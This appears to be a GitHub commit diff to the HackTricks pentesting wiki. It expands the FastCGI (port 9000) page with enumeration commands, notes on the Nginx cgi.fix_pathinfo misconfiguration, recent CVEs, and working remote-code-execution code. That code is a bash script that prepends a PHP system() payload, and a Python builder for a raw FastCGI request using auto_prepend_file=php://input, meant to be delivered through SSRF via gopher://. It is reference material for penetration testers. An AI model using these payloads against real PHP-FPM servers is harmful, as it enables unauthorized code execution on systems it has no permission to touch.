Skip to content

Commit 20a7b57

Browse files
authored
Merge pull request #1856 from HackTricks-wiki/research_update_src_network-services-pentesting_9000-pentesting-fastcgi_20260204_023422
Research Update Enhanced src/network-services-pentesting/900...
2 parents c972f95 + efe42fb commit 20a7b57

1 file changed

Lines changed: 60 additions & 2 deletions

File tree

src/network-services-pentesting/9000-pentesting-fastcgi.md

Lines changed: 60 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,14 +13,24 @@ pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedi
1313

1414
By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
1515

16+
## Enumeration / Quick checks
17+
18+
* **Port scan:** `nmap -sV -p9000 <target>` (will often show "unknown" service; manually test).
19+
* **Probe FPM status page:** `SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000` (default php-fpm `pm.status_path`).
20+
* **Find reachable sockets via SSRF:** if an HTTP service is exploitable for SSRF, try `gopher://127.0.0.1:9000/_...` payloads to hit the FastCGI listener.
21+
* **Nginx misconfigs:** `cgi.fix_pathinfo=1` with `fastcgi_split_path_info` errors let you append `/.php` to static files and reach PHP (code exec via traversal).
22+
1623
## RCE
1724

1825
It's quite easy to make FastCGI execute arbitrary code:
1926

27+
<details>
28+
<summary>Send FastCGI request that prepends PHP payload</summary>
29+
2030
```bash
2131
#!/bin/bash
2232

23-
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
33+
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
2434
FILENAMES="/var/www/public/index.php" # Exisiting file path
2535

2636
HOST=$1
@@ -37,8 +47,56 @@ for FN in $FILENAMES; do
3747
done
3848
```
3949

50+
</details>
51+
4052
or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
4153

42-
{{#include ../banners/hacktricks-training.md}}
54+
### SSRF/gopher to FastCGI (when 9000 is not directly reachable)
55+
56+
If you only control an **SSRF** primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder:
57+
58+
<details>
59+
<summary>Build and send a gopher FastCGI RCE payload</summary>
60+
61+
```python
62+
import struct, socket
63+
host, port = "127.0.0.1", 9000
64+
params = {
65+
b"REQUEST_METHOD": b"POST",
66+
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
67+
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
68+
}
69+
body = b"<?php system('id'); ?>"
70+
71+
def rec(rec_type, content, req_id=1):
72+
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
73+
74+
def enc_params(d):
75+
out = b""
76+
for k, v in d.items():
77+
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
78+
return out
79+
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
80+
payload += rec(5, body) # FCGI_STDIN
81+
82+
s = socket.create_connection((host, port))
83+
s.sendall(payload)
84+
print(s.recv(4096))
85+
```
4386

87+
Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://host:9000/_<payload>` in your SSRF.
88+
</details>
4489

90+
### Notes on recent issues
91+
92+
* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).
93+
* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.
94+
* **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets.
95+
96+
97+
98+
## References
99+
100+
* [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/)
101+
* [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/)
102+
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)